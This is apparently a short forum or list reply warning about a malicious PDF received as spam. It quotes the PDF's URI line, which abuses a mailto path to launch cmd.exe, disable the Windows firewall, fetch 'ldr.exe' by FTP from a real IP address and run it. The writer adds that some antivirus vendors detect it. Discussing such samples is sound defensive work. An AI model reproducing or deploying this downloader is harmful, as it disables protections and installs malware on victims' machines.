You seem to have missed the line

obj<</URI(mailto:%/../../../../../../Windows/system32/cmd".exe""; /c /q \"@echo 
off&netsh firewall set opmode mode=disable&echo o 81.95.146.130>1&echo 
binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v -A>nul&del /q 1& start 
ldr.exe&\" \"&\" "nul.bat)/S/URI>>

within "my" PDF. Am not sure whether that would have worked, but is
unfriendly and not your average Viagra, sharemarket or porn message.
Some AV vendors recognize it, as shown by virustotal.
